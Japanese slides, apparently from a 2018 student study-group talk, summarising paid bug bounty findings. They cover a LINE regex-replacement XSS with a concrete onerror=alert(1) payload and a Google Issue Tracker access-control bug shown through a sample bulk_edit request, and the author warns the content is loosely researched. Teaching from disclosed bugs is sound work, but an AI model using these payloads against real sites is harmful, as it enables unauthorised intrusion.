2018-06-13 TSG 第2回脆弱性ハンティング分科会 発表資料
@hakatashi
このスライドは適当に調べながら書いたので
鵜呑みにしないでください
Kinugawaさんのブログ/スライドを読もう!!!
(Vulnerability Reward / Bug Bounty)
https://github.com/ngalongc/bug-bounty-reference
に実際に見つかった脆弱性がいっぱい載ってるので参考に
LINE Bug Bounty Program: $500
var template = '<img src="https://hoge.com/{{id}}.png">';
var re = new RegExp('{{' + key + '}}', 'gm');
var safe = escapeHTML(value);
template = template.replace(re, safe);
document.body.innerHTML = template;
key, value に任意の文字列をURLから入力可能
key = '|(.)h|';
value = '$1a$1onerror%3Dalert(1)//';
var re = new RegExp('{{' + key + '}}', 'gm');
//=> /{{|(.)h|}}/gm
'<img src="https://hoge.com/{{id}}.png">'
.replace(re, '$1a$1onerror=alert(1)//');
//=> '<img src="a"onerror=alert(1)//ttps://hoge.com/{{id}}.png">'
Google Vulnerability Reward Program: $15,600
Google Issue Tracker の機能の1つとして、
buganizer-system+<componentID>+<issueID>@google.com
にメールを送ることでスレッドに投稿できる
→ @google.com に送信されたメールを閲覧できる
POST /action/issues/bulk_edit HTTP/1.1
{
"issueIds":[
67111111,
67111112
],
"actions":[
{
"fieldName":"ccs",
"value":"test@example.com",
"actionType":"REMOVE"
}
]
}
Twitter Vulnerability Report on HackerOne: $3,500
参考資料: https://www.ipa.go.jp/files/000064918.pdf